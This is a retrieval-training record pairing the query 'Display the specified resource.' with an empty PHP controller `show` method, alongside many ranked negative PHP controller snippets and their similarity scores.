[ "0.72865677", "0.7145327", "0.71325725", "0.6640912", "0.66209733", "0.65685713", "0.652643", "0.65095705", "0.64490104", "0.637569", "0.63736665", "0.63657933", "0.63657933", "0.63657933", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437" ]
0.0
-1
Display the specified resource.
public function show($id) { // }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function show(Resource $resource)\n {\n // not available for now\n }", "public function show(Resource $resource)\n {\n //\n }", "function Display($resource_name, $cache_id = null, $compile_id = null)\n {\n $this->_smarty->display($resource_name, $cache_id, $compile_id);\n }", "private function showResourceable($resourceable)\n {\n save_resource_url();\n\n return $this->view('resources.create_edit')\n ->with('resource', $resourceable)\n ->with('photos', $resourceable->photos)\n ->with('videos', $resourceable->videos)\n ->with('documents', $resourceable->documents);\n }", "function display($resource_name, $cache_id = null, $compile_id = null) {\n\t\t$this->_getResourceInfo($resource_name); // Saves resource info to a Smarty class var for debugging\n\t\t$_t3_fetch_result = $this->fetch($resource_name, tx_smarty_div::getCacheID($cache_id), $compile_id);\n if ($this->debugging) { // Debugging will have been evaluated in fetch\n require_once(SMARTY_CORE_DIR . 'core.display_debug_console.php');\n $_t3_fetch_result .= smarty_core_display_debug_console(array(), $this);\n }\n\t\treturn $_t3_fetch_result;\n\t}", "public function show(ResourceSubject $resourceSubject)\n {\n //\n }", "public function show(ResourceManagement $resourcesManagement)\n {\n //\n }", "public function viewEditResources()\n {\n $database = new Database();\n $id = $this->_params['id'];\n\n $resource = $database->getResourceById($id);\n\n $availableResource = new Resource($resource['ResourceID'], $resource['ResourceName'], $resource['Description']\n , $resource['ContactName'] , $resource['ContactEmail'] , $resource['ContactPhone'] ,\n $resource['Link'], $resource['active']);\n $this->_f3->set('Resource', $availableResource);\n\n echo Template::instance()->render('view/include/head.php');\n echo Template::instance()->render('view/include/top-nav.php');\n echo Template::instance()->render('view/edit-resources.php');\n echo Template::instance()->render('view/include/footer.php');\n }", "public function retrieve(Resource $resource);", "public function showResource($resouceable, $id)\n {\n $model_name = str_replace('-', ' ',ucwords($resouceable));\n $model_name = str_replace(' ', '',ucwords($model_name));\n\n $resource_type = 'App\\Models\\\\'.$model_name;\n $model = app($resource_type);\n $model = $model->find($id);\n\n return $this->showResourceable($model);\n }", "public function showAction(Ressource $ressource)\n {\n $deleteForm = $this->createDeleteForm($ressource);\n\n return $this->render('ressource/show.html.twig', array(\n 'ressource' => $ressource,\n 'delete_form' => $deleteForm->createView(),\n ));\n }", "public function show(Dispenser $dispenser)\n {\n //\n }", "public function show($id)\n {\n $resource = Resource::find($id);\n dd($resource);\n }", "public function displayAction() {\n\t\tif(is_numeric($this->req_id)) {\n\t\t\tAPI::DEBUG(\"[DefaultController::displayAction()] Getting \" . $this->req_id, 1);\n\t\t\t$this->_view->data['info'] = $this->_model->get($this->req_id);\n\t\t\t$this->_view->data['action'] = 'edit';\n\n\t\t} else {\n\t\t\t$this->_view->data['action'] = 'new';\n\t\t}\n\t\t// auto call the hooks for this module/action\n\t\terror_log(\"Should Call: \" . $this->module .\"/\".$this->action.\"/\".\"controller.php\");\n\t\tAPI::callHooks($this->module, $this->action, 'controller', $this);\n\n\t\t$this->addModuleTemplate($this->module, 'display');\n\n\t}", "public function show(NebulaResource $resource, $item): View\n {\n $this->authorize('view', $item);\n\n return view('nebula::resources.show', [\n 'resource' => $resource,\n 'item' => $item,\n ]);\n }", "public function resource(string $resource, string $controller): void\n {\n $base = $this->plural($resource);\n $entity = '/{'.$resource.'}';\n\n $this->app->get($base, $controller.'@index');\n $this->app->post($base, $controller.'@store');\n $this->app->get($base.$entity, $controller.'@show');\n $this->app->patch($base.$entity, $controller.'@update');\n $this->app->delete($base.$entity, $controller.'@destroy');\n }", "function displayCustom($resource_name, $cache_id = null, $compile_id = null)\n\t{\n\t return $this->display(DotbAutoLoader::existingCustomOne($resource_name), $cache_id, $compile_id);\n\t}", "public function show($id)\n {\n /* Check if logged in user is authorized to make this request */\n $this->authorizeAction();\n\n /* Get the specified resource */\n $resource = $this->model::findOrFail($id);\n\n /* Sets the view */\n if (view()->exists(\"admin.{$this->name}.show\")) {\n $view = \"admin.{$this->name}.show\";\n } else {\n $view = 'admin.includes.actions.show';\n }\n\n /* Displays the specified resource page */\n return view($view)\n ->with('resource', $resource)\n ->with('name', $this->name);\n }", "public function show($id)\n {\n $currentUser = JWTAuth::parseToken()->authenticate();\n $rules = [\n 'id' => 'required|integer'\n ];\n\n $validator = Validator::make(['id' => $id], $rules);\n if ($validator->fails()) {\n return APIHandler::response(0, $validator->errors(), 400);\n }\n $resource = $this->resourceRepository->fetchResource($id);\n $this->resourceRepository->storeView($id, $currentUser['id']);\n\n $data = [\n 'resource' => $resource,\n 'related_resources' => $this->resourceRepository->getResourcesRelatedTo($resource->id, $resource->mentoring_area_id)\n ];\n\n return APIHandler::response(1, \"Show Resource\", $data);\n }", "public function get(Resource $resource);", "public function showAction()\n {\n $model = $this->_getPhotoModel();\n $photo = $model->fetchEntry($this->getRequest()->getParam('id'));\n\n if (null === $photo) {\n return $this->_forward('notfound', 'error');\n }\n\n $this->view->auth = Zend_Auth::getInstance();\n $this->view->title = $photo->title;\n $this->view->photo = $photo;\n }", "public function show($id)\n {\n //\n $data=Resource::find($id);\n return view('resourceDetails',compact('data'));\n }", "function display() {\n\t\t$view = &$this->getView();\n\t\t$view->display();\n\t}", "public function show(ShowResourceRequest $request, $id)\n {\n // TODO: Implement show() method.\n }", "function show( $resource ){\n\n $where = \"reservation_status <> 'Pending' AND id = {$resource}\";\n $reservation = where( 'reservations', $where );\n $reservation = $reservation[0];\n\n return view('admin/reservation/preview_reservation', compact( 'reservation' ));\n}", "public function show()\n {\n if ($this->twig !== false) {\n $this->twigDefaultContext();\n if ($this->controller) {\n $this->controller->display($this->data);\n }\n echo $this->twig->render($this->twig_template, $this->data);\n } else {\n $filename = $this->findTemplatePath($this->template);\n require($filename);\n }\n }", "public function edit(Resource $resource)\n {\n //\n }", "public function show(rc $rc)\n {\n //\n }", "public function show(Resolucion $resolucion)\n {\n //\n }", "public function showAction(furTexture $furTexture)\n {\n\n return $this->render('furtexture/show.html.twig', array(\n 'furTexture' => $furTexture,\n ));\n }", "public function show()\n\t{\n\t\t//\n\t}", "public function show()\n\t{\n\t\t//\n\t}", "public function show()\n\t{\n\t\t//\n\t}", "public function show(Resena $resena)\n {\n }", "public function edit(Resource $resource)\n {\n return view('admin.resources.edit', compact('resource'));\n }", "public function showAction() {\n $docId = $this->getParam('id');\n\n // TODO verify parameter\n\n $document = new Opus_Document($docId);\n\n $this->_helper->layout()->disableLayout();\n\n $this->view->doc = $document;\n $this->view->document = new Application_Util_DocumentAdapter($this->view, $document);\n }", "public function action_display()\r\n\t{\r\n\t\t$event = ORM::factory('event', array('id' => $this->request->param('id')));\r\n\t\r\n\t\tif ( ! $event->loaded())\r\n\t\t{\r\n\t\t\tNotices::error('event.view.not_found');\r\n\t\t\t$this->request->redirect(Route::url('event'));\r\n\t\t}\r\n\t\t\r\n\t\t// Can user view this event?\r\n\t\tif ( ! $this->user->can('event_view', array('event' => $event)))\r\n\t\t{\r\n\t\t\t// Error notification\r\n\t\t\tNotices::error('event.view.not_allowed');\r\n\t\t\t$this->request->redirect(Route::url('event'));\r\n\t\t}\r\n\t\t\r\n\t\t// Pass event data to the view class\r\n\t\t$this->view->event_data = $event;\r\n\t\t$this->view->user = $this->user;\r\n\t}", "public function execute()\n {\n // HTTP Request Get\n if ($this->type == \"resource\") {\n $action = $this->getResourceAction();\n switch ($action) {\n case \"show\":\n $this->show();\n break;\n case \"create\":\n $this->create();\n break;\n case \"edit\":\n $this->edit();\n break;\n case \"destroy\":\n $this->destroy();\n break;\n default:\n echo $this->render();\n break;\n }\n } else {\n $action = $this->Request->action;\n switch ($action) {\n case \"show\":\n $this->show();\n break;\n case \"create\":\n $this->create();\n break;\n case \"edit\":\n $this->edit();\n break;\n case \"destroy\":\n $this->destroy();\n break;\n default:\n echo $this->render();\n break;\n }\n }\n }", "public function show(Resident $resident)\n {\n $this->authorize('admin.resident.show', $resident);\n\n // TODO your code goes here\n }", "public function display()\n {\n echo $this->getDisplay();\n $this->isDisplayed(true);\n }", "public function display()\n\t{\n\t\tparent::display();\n\t}", "public function get_resource();", "public function show()\n\t{\n\t\t\n\t}", "function display() {\n\n\t\t// Check authorization, abort if negative\n\t\t$this->isAuthorized() or $this->abortUnauthorized();\n\n\t\t// Get the view\n\t\t$view = $this->getDefaultView();\n\n\t\tif ($view == NULL) {\n\t\t\tthrow new Exception('Display task called, but there is no view assigned to that controller. Check method getDefaultView.');\n\t\t}\n\n\t\t$view->listing = true;\n\n\t\t// Wrap the output of the views depending on the way the stuff should be shown\n\t\t$this->wrapViewAndDisplay($view);\n\n\t}", "public function viewResources()\n {\n $database = new Database();\n\n $resources = $database->getAllActiveResourcesNoLimit();\n\n\n $resourceArray = array();\n $i = 1;\n\n foreach ($resources as $resource) {\n $availableResource = new Resource($resource['ResourceID'], $resource['ResourceName'], $resource['Description']\n , $resource['ContactName'] , $resource['ContactEmail'] , $resource['ContactPhone'] ,\n $resource['Link'], $resource['active']);\n array_push($resourceArray, $availableResource);\n $i += 1;\n }\n $resourceSize = sizeof($resourceArray);\n $this->_f3->set('resourcesByActive', $resourceArray);\n $this->_f3->set('resourcesSize', $resourceSize);\n echo Template::instance()->render('view/include/head.php');\n echo Template::instance()->render('view/include/top-nav.php');\n echo Template::instance()->render('view/resources.php');\n echo Template::instance()->render('view/include/footer.php');\n }", "public function show($id)\n {\n $this->title .= ' show';\n $this->one($id);\n }", "public function display($title = null)\n {\n echo $this->fetch($title);\n }", "public function display(){}", "public function show($id)\n\t{\n\t\t//\n\t\t//\n\t\n\t}", "public function viewAction()\n\t{\n\t\t//get Id param from request\n\t\tif (!$id = $this->_getParam('id')) {\n\t\t\t$this->getFlashMessenger()->addMessage('Product ID was not specified');\n\t\t\t$this->getRedirector()->gotoSimple('list');\n\t\t}\n\n\t\t//fetch requested ProductID from DB\n\t\tif (!$this->_model->fetch($id)) {\n\t\t\t$this->render('not-found');\n\t\t} else {\n\t\t\t$this->view->model = $this->_model;\n\t\t}\n\t}", "public function show($id)\n {\n // Get single person\n $person = Person::findOrFail($id);\n\n // Return single person as a resource\n return '<h1>Person Number '.$id.'</h1><br>'.json_encode(new PersonResource($person));\n }", "#[TODO] use self object?\n\tprotected function GET(ResourceObject $resource) {\n#[TODO]\t\tif ($resource->getMTime())\n#[TODO]\t\t\t$this->response->headers->set('Last-modified', gmdate('D, d M Y H:i:s ', $resource->getMTime()) . 'GMT');\n#[TODO]\t\tif ($resource->getCTime())\n#[TODO]\t\t\t$this->response->headers->set('Date', gmdate('D, d M Y H:i:s ', $resource->getCTime()) . 'GMT');\n\n\n#[TODO] handle file streams\n\t\t// get ranges\n#\t\t$ranges = WebDAV::getRanges($this->request, $this->response);\n\n\t\t// set the content of the response\n\t\tif ($resource instanceof ResourceDocument) {\n\t\t\t$this->response->content->set($resource->getContents());\n\t\t\t$this->response->content->setType($resource->getMIMEType());\n\t\t\t$this->response->content->encodeOnSubmit(true);\n\t\t}\n\t}", "public function display() {\n echo $this->render();\n }", "public function show($id)\n\t{\n\t//\n\t}", "public function show($id)\n\t{\n\t//\n\t}", "function Fetch($resource_name, $cache_id = null, $compile_id = null, $display = false)\n {\n return $this->_smarty->fetch($resource_name, $cache_id, $compile_id, $display);\n }", "public function show($id)\n {\n //\n $this->_show($id);\n }", "public function show()\n\t{\n\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {}", "static public function showCallback(O_Dao_Renderer_Show_Params $params) {\r\n\t\t/* @var $r R_Mdl_Resource */\r\n\t\t$r = $params->record();\r\n\t\t// Setting layout title\r\n\t\t$params->layout()->setTitle($r->getPageTitle());\r\n\r\n?><h1><?=$r->title?></h1><div id=\"resource\"><?\r\n\t\tif($r->getContent()) {\r\n\t\t\t// page has its own content -- show it\r\n\t\t\t$r->getContent()->show($params->layout(), \"content\");\r\n\t\t} else {\r\n\t\t\t// It is a post unit, show all childs\r\n\t\t\tif($r->is_unit == 1) {\r\n\t\t\t\t$r->addQueryAccessChecks($r->getChilds(1))->show($params->layout(), \"content\");\r\n\r\n\t\t\t// It is a folder with several units, show paginator\r\n\t\t\t} elseif($r->show_def == \"last-units\") {\r\n\t\t\t\tlist($type, $perpage) = explode(\":\", $r->show_def_params);\r\n\t\t\t\t/* @var $p O_Dao_Paginator */\r\n\t\t\t\t$p = $r->addQueryAccessChecks($r->getChilds())->test(\"is_unit\", 1)->getPaginator(array($r, \"getPageUrl\"), $perpage);\r\n\t\t\t\t$p->show($params->layout(), $type);\r\n\t\t\t// It is a folder with subfolders, boxes, contents. Show one childs level\r\n\t\t\t} else {\r\n\t\t\t\t$r->addQueryAccessChecks($r->getChilds(1))->show($params->layout(), \"on-parent-page\");\r\n\t\t\t}\r\n\r\n\t\t}\r\n?></div><?\r\n\t}", "public function show($id)\r\n\t{\r\n\t\t//\r\n\r\n\r\n\r\n\t}", "public function show($resourceId, $eventId)\n {\n $routes = $this->routes;\n\n $eventable = $this->getEventableRepository()->model()->findOrFail($resourceId);\n\n if (method_exists($eventable, 'events')) {\n $event = $eventable->events()->find($eventId);\n\n if ($event) {\n $apiObject = $this->event->findApiObject($event->api_id);\n\n return view('events.eventables.show', compact('routes', 'eventable', 'event', 'apiObject'));\n }\n }\n\n abort(404);\n }", "public abstract function display();", "abstract public function resource($resource);", "public function show($id)\r\r\n\t{\r\r\n\t\t//\r\r\n\t}", "public function show( $id ) {\n\t\t//\n\t}", "public function show( $id ) {\n\t\t//\n\t}", "public function show(Response $response)\n {\n //\n }", "public function show()\n {\n return auth()->user()->getResource();\n }", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}", "public function show($id)\n\t{\n\t\t//\n\t}" ]
[ "0.8233718", "0.8190437", "0.6828712", "0.64986944", "0.6495974", "0.6469629", "0.6462615", "0.6363665", "0.6311607", "0.62817234", "0.6218966", "0.6189695", "0.61804265", "0.6171014", "0.61371076", "0.61207956", "0.61067593", "0.6105954", "0.6094066", "0.6082806", "0.6045245", "0.60389996", "0.6016584", "0.598783", "0.5961788", "0.59606946", "0.5954321", "0.59295714", "0.59182066", "0.5904556", "0.59036547", "0.59036547", "0.59036547", "0.5891874", "0.58688277", "0.5868107", "0.58676815", "0.5851883", "0.58144855", "0.58124036", "0.58112013", "0.5803467", "0.58012545", "0.5791527", "0.57901084", "0.5781528", "0.5779676", "0.5757105", "0.5756208", "0.57561266", "0.57453394", "0.57435393", "0.57422745", "0.5736634", "0.5736634", "0.5730559", "0.57259274", "0.5724891", "0.5722562", "0.5722562", "0.5722562", "0.5722562", "0.5722562", "0.5722562", "0.5722562", "0.5722562", "0.5722562", "0.5722562", "0.5718969", "0.5713412", "0.57091093", "0.5706405", "0.57057405", "0.5704541", "0.5704152", "0.57026845", "0.57026845", "0.56981397", "0.5693083", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962", "0.5684962" ]
0.0
-1
Show the form for editing the specified resource.
public function edit($id) { // }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function edit(Resource $resource)\n {\n return view('admin.resources.edit', compact('resource'));\n }", "public function edit(Resource $resource)\n {\n //\n }", "public function edit($id)\n {\n /* Check if logged in user is authorized to make this request */\n $this->authorizeAction();\n\n /* Get the specified resource */\n $resource = $this->model::findOrFail($id);\n\n /* Sets the view */\n if (view()->exists(\"admin.{$this->name}.edit\")) {\n $view = \"admin.{$this->name}.edit\";\n } else {\n $view = 'admin.includes.actions.edit';\n }\n\n /* Displays the edit resource page */\n return view($view)\n ->with('resource', $resource)\n ->with('name', $this->name);\n }", "public function edit(NebulaResource $resource, $item): View\n {\n $this->authorize('update', $item);\n\n return view('nebula::resources.edit', [\n 'resource' => $resource,\n 'item' => $item,\n ]);\n }", "public function edit() {\r\n $id = $this->api->getParam('id');\r\n\r\n if ($id) {\r\n $this->model->id = $id;\r\n $this->checkOwner();\r\n }\r\n $object = $this->model->find_by_id($id);\r\n\r\n $this->api->loadView('contact-form', array('row' => $object));\r\n }", "public function viewEditResources()\n {\n $database = new Database();\n $id = $this->_params['id'];\n\n $resource = $database->getResourceById($id);\n\n $availableResource = new Resource($resource['ResourceID'], $resource['ResourceName'], $resource['Description']\n , $resource['ContactName'] , $resource['ContactEmail'] , $resource['ContactPhone'] ,\n $resource['Link'], $resource['active']);\n $this->_f3->set('Resource', $availableResource);\n\n echo Template::instance()->render('view/include/head.php');\n echo Template::instance()->render('view/include/top-nav.php');\n echo Template::instance()->render('view/edit-resources.php');\n echo Template::instance()->render('view/include/footer.php');\n }", "public function edit()\n {\n return view('hirmvc::edit');\n }", "public function editformAction(){\n\t\t$this->loadLayout();\n $this->renderLayout();\n\t}", "public function edit() {\n $id = $this->parent->urlPathParts[2];\n // pass name and id to view\n $data = $this->parent->getModel(\"fruits\")->select(\"select * from fruit_table where id = :id\", array(\":id\"=>$id));\n $this->getView(\"header\", array(\"pagename\"=>\"about\"));\n $this->getView(\"editForm\", $data);\n $this->getView(\"footer\");\n }", "public function edit($id)\n\t{\n\t\treturn $this->showForm('update', $id);\n\t}", "public function edit($id)\n {\n $model = $this->modelObj;\n $formObj = $model::findOrFail($id);\n $data['formObj'] = $formObj;\n return view($this->veiw_base . '.edit', $data);\n }", "public function createEditForm(Resourceperson $entity){\n \n $form = $this->createForm(new ResourcepersonType(), $entity, array(\n 'action' => $this->generateUrl('rsp_update', array('id' => $entity->getRpId())),\n 'method' => 'PUT',\n ));\n\n $form->add('submit', 'submit', array('label' => 'Update','attr'=> array(\n 'class'=>'btn btn primary'\n )));\n\n return $form;\n }", "private function createEditForm(Resource $entity)\n {\n $form = $this->createForm(new ResourceType(), $entity, array(\n 'action' => $this->generateUrl('social_admin_resource_update', array('id' => $entity->getId())),\n 'method' => 'PUT',\n ));\n\n $form->add('submit', 'submit', array('label' => '保存','attr'=>[\n 'class'=>'btn btn-primary'\n ]));\n\n return $form;\n }", "public function edit($id)\n {\n return $this->showForm('update', $id);\n }", "public function edit($id)\n {\n return $this->showForm('update', $id);\n }", "public function editAction()\n {\n if ($form = $this->processForm()) {\n if ($this->useTabbedForms && method_exists($this, 'getSubject')) {\n $data = $this->getModel()->loadFirst();\n $subject = $this->getSubject($data);\n $this->setPageTitle(sprintf($this->_('Edit %s %s'), $this->getTopic(1), $subject));\n } else {\n $this->setPageTitle(sprintf($this->_('Edit %s'), $this->getTopic(1)));\n }\n $this->html[] = $form;\n }\n }", "public function edit($id)\n {\n $this->data['entity'] = GS_Form::where('id', $id)->firstOrFail();\n return view('admin.pages.forms.edit', $this->data);\n }", "public function edit($id)\n\t{\n\t\t// get the fbf_presenca\n\t\t$fbf_presenca = FbfPresenca::find($id);\n\n\t\t\n\t\t// show the edit form and pass the fbf_presenca\n\t\t$this->layout->content = View::make('fbf_presenca.edit')\n->with('fbf_presenca', $fbf_presenca);\n\t}", "public function edit($id)\n {\n $data = $this->model->find($id);\n\n return view('admin.backends.employee.form.edit',compact('data'));\n }", "public function edit($model, $form);", "function edit() {\n\t\tglobal $tpl;\n\n\t\t$form = $this->initForm();\n\t\t$tpl->setContent($form->getHTML());\n\t}", "public function edit($id)\n\t{\n\t\t$faith = Faith::find($id);\n \n return view('faith.form')->with('faith', $faith);\n\n\t}", "public function edit()\n { \n return view('admin.control.edit');\n }", "public function edit(Form $form)\n {\n //\n }", "public function edit()\n {\n return view('common::edit');\n }", "public function edit($id)\n {\n $resource = (new AclResource())->AclResource;\n $roleResource = AclRole::where('role', $id)->get(['resource'])->toArray();\n $roleResource = Arr::pluck($roleResource, 'resource');\n return view('Admin.acl.role.form', [\n 'role' => $id,\n 'resource' => $resource,\n 'roleResource' => $roleResource,\n ]);\n }", "public function edit()\n {\n return view('admin::edit');\n }", "public function edit()\n {\n return view('admin::edit');\n }", "public function edit()\r\n {\r\n return view('petro::edit');\r\n }", "public function edit($id)\n {\n // show form edit user info\n }", "public function edit()\n {\n return view('escrow::edit');\n }", "public function edit($id)\n {\n $resource = ResourceManagement::find($id);\n\n $users = User::get();\n // Redirect to user list if updating user wasn't existed\n if ($resource == null || $resource->count() == 0) {\n return redirect()->intended('/resource-management');\n }\n\n return view('resources-mgmt/edit', ['resource' => $resource, 'users' => $users]);\n }", "public function edit()\n {\n return view('commonmodule::edit');\n }", "public function editAction()\n\t{\n\t\t$params = $this->data->getParams();\n\t\t$params = $this->valid->clearDataArr($params);\n\t\tif (isset($params['id']))\n\t\t{\n\t\t\t$this->employee->setFlag(true);\n\t\t}\n\t\tif (isset($_POST['submit']))\n\t\t{\n\t\t\t$action = $this->valid->clearDataArr($_POST);\n\t\t\t$this->employee->setDataArray($action);\n\t\t\theader('Location: ' . PATH . 'Employee/index/', true, 303);\n\t\t}\n\t\t$employee = $this->employee->setAction('edit');\n\t\t$this->view->addToReplace($employee);\n\t\t$this->listEmployee();\n\t\t$this->arrayToPrint();\n\t}", "public function edit()\n {\n return view('catalog::edit');\n }", "public function edit()\n {\n return view('catalog::edit');\n }", "public function edit(form $form)\n {\n //\n }", "public function actionEdit($id) { }", "public function edit()\n {\n return view('admincp::edit');\n }", "public function edit()\n {\n return view('scaffold::edit');\n }", "public function edit($id)\n {\n $header = \"Edit\";\n\t\t$data = Penerbit::findOrFail($id);\n\t\treturn view('admin.penerbit.form', compact('data','header'));\n }", "public function edit()\n {\n return view('Person.edit');\n }", "public function edit($id)\n {\n $data = Form::find($id);\n return view('form.edit', compact('data'));\n }", "public function edit($id)\n\t{\n\t\t$career = $this->careers->findById($id);\n\t\treturn View::make('careers._form', array('career' => $career, 'exists' => true));\n\t}", "public function edit(Flight $exercise, FlightResource $resource)\n {\n return $this->viewMake('adm.smartcars.exercise-resources.edit')\n ->with('flight', $exercise)\n ->with('resource', $resource);\n }", "public function edit($id)\n\t{\n\t\t// get the material\n\t\t$material = Material::find($id);\n\n\t\t// show the edit form and pass the material\n\t\t$this->layout->content = View::make('material.edit')\n\t\t\t->with('material', $material);\n\t}", "public function edit($id, Request $request)\n {\n $formObj = $this->modelObj->find($id);\n\n if(!$formObj)\n {\n abort(404);\n } \n\n $data = array();\n $data['formObj'] = $formObj;\n $data['page_title'] = \"Edit \".$this->module;\n $data['buttonText'] = \"Update\";\n\n $data['action_url'] = $this->moduleRouteText.\".update\";\n $data['action_params'] = $formObj->id;\n $data['method'] = \"PUT\"; \n\n return view($this->moduleViewName.'.add', $data);\n }", "public function edit()\n {\n $id = $this->getId();\n return view('panel.user.form', [\n 'user' => $this->userRepository->findById($id),\n 'method' => 'PUT',\n 'routePrefix' => 'profile',\n 'route' => 'profile.update',\n 'parameters' => [$id],\n 'breadcrumbs' => $this->getBreadcrumb('Editar')\n ]);\n }", "public function edit()\r\n {\r\n return view('mpcs::edit');\r\n }", "function edit()\n\t{\n\t\t// hien thi form sua san pham\n\t\t$id = getParameter('id');\n\t\t$product = $this->model->product->find_by_id($id);\n\t\t$this->layout->set('auth_layout');\n\t\t$this->view->load('product/edit', [\n\t\t\t'product' => $product\n\t\t]);\n\t}", "public function edit($id)\n {\n //\n $data = Diskon::find($id);\n\n $form = $this->form;\n $edit = $this->edit;\n $field = $this->field;\n $page = $this->page;\n $id = $id;\n $title = $this->title;\n return view('admin/page/'.$this->page.'/edit',compact('form','edit','data','field','page','id','title'));\n }", "public function edit($id)\n {\n return $this->showForm($id);\n }", "public function edit($id)\n {\n return $this->showForm($id);\n }", "protected function _edit(){\n\t\treturn $this->_editForm();\n\t}", "public function editAction()\n {\n $robot = Robots::findFirst($this->session->get(\"robot-id\"));\n if ($this->request->isGet()) {\n $this->tag->prependTitle(\"Редактировать робота :: \");\n $user = $this->session->get(\"auth-id\");\n if (!$robot) {\n $this->flashSession->error(\n \"Робот не найден\"\n );\n return $this->response->redirect(\"users/usershow/$user->name\");\n }\n\n }\n\n $this->view->form = new RobotForm(\n $robot,\n [\n \"edit\" => true,\n ]\n );\n }", "public function editAction()\n {\n $form = new $this->form();\n\n $request = $this->getRequest();\n $param = $this->params()->fromRoute('id', 0);\n\n $repository = $this->getEm()->getRepository($this->entity);\n $entity = $repository->find($param);\n\n if ($entity) {\n\n $form->setData($entity->toArray());\n\n if ( $request->isPost() ) {\n\n $form->setData($request->getPost());\n\n if ( $form->isValid() ) {\n\n $service = $this->getServiceLocator()->get($this->service);\n $service->update($request->getPost()->toArray());\n\n return $this->redirect()->toRoute($this->route, array('controller' => $this->controller));\n }\n }\n } else {\n return $this->redirect()->toRoute($this->route, array('controller' => $this->controller));\n }\n\n return new ViewModel(array('form' => $form, 'id' => $param));\n\n }", "public function edit($id)\n\t{\n\t\t$SysApplication = \\Javan\\Dynaflow\\Domain\\Model\\SysApplication::find($id);\n\t\t$form = \\FormBuilder::create('Javan\\Dynaflow\\FormBuilder\\SysApplicationForm', [\n \t'method' => 'POST',\n \t'url' => 'sysapplication/update/'.$id,\n \t'model' => $SysApplication,\n \t'data' => [ 'flow_id' => $SysApplication->flow_id]\n \t]);\n\t\treturn View::make('dynaflow::sysapplication.form', compact('form', 'SysApplication'));\n\t}", "public function editAction() {\n\t\t$id = (int) $this->_getParam('id');\n\t\t$modelName = $this->_getParam('model');\n\t\t\n\t\t$model = Marcel_Backoffice_Model::factory($modelName);\n\t\t$item = $model->find($id)->current();\n\t\tif (!$item) {\n\t\t\t$item = $model->createRow();\n\t\t}\n\t\t$form = $item->getForm();\n\t\tif ($this->_request->isPost()) {\n\t\t\t$newId = $form->populate($this->_request->getPost())->save();\n\t\t\tif ($newId) {\n\t\t\t\t$this->_helper->flashMessenger('Saved successfully!');\n\t\t\t\t$this->_helper->redirector('edit', null, null, array('id' => $newId, 'model' => $modelName));\n\t\t\t}\n\t\t}\n\t\t$this->view->form = $form;\n\t\t$this->view->messages = $this->_helper->flashMessenger->getMessages();\n\t}", "public function edit($id)\n {\n return view('models::edit');\n }", "public function edit()\n {\n return view('home::edit');\n }", "public function editAction()\n {\n $id = $this->params()->fromRoute('id');\n $entity = $this->entityManager->find(Entity\\CourtClosing::class, $id);\n if (! $entity) {\n // to do: deal with it\n }\n $form = $this->getForm('update');\n $form->bind($entity);\n if ($this->getRequest()->isPost()) {\n return $this->post();\n }\n\n return new ViewModel(['form' => $form]);\n }", "public function editAction($id)\n {\n $entity = $this->getManager()->find($id);\n\n $breadcrumbs = $this->get(\"white_october_breadcrumbs\");\n $breadcrumbs->addItem('Inicio', $this->get('router')->generate('admin.homepage'));\n $breadcrumbs->addItem($this->entityDescription, $this->get(\"router\")->generate(\"admin.$this->entityName.index\"));\n $breadcrumbs->addItem('Editar');\n\n if (!$entity) {\n throw $this->createNotFoundException('No se ha encontrado el elemento');\n }\n\n $form = $this->getForm($entity);\n\n return $this->render('AdminBundle:Default:edit.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n 'metadata' => $this->getMetadata()\n ));\n }", 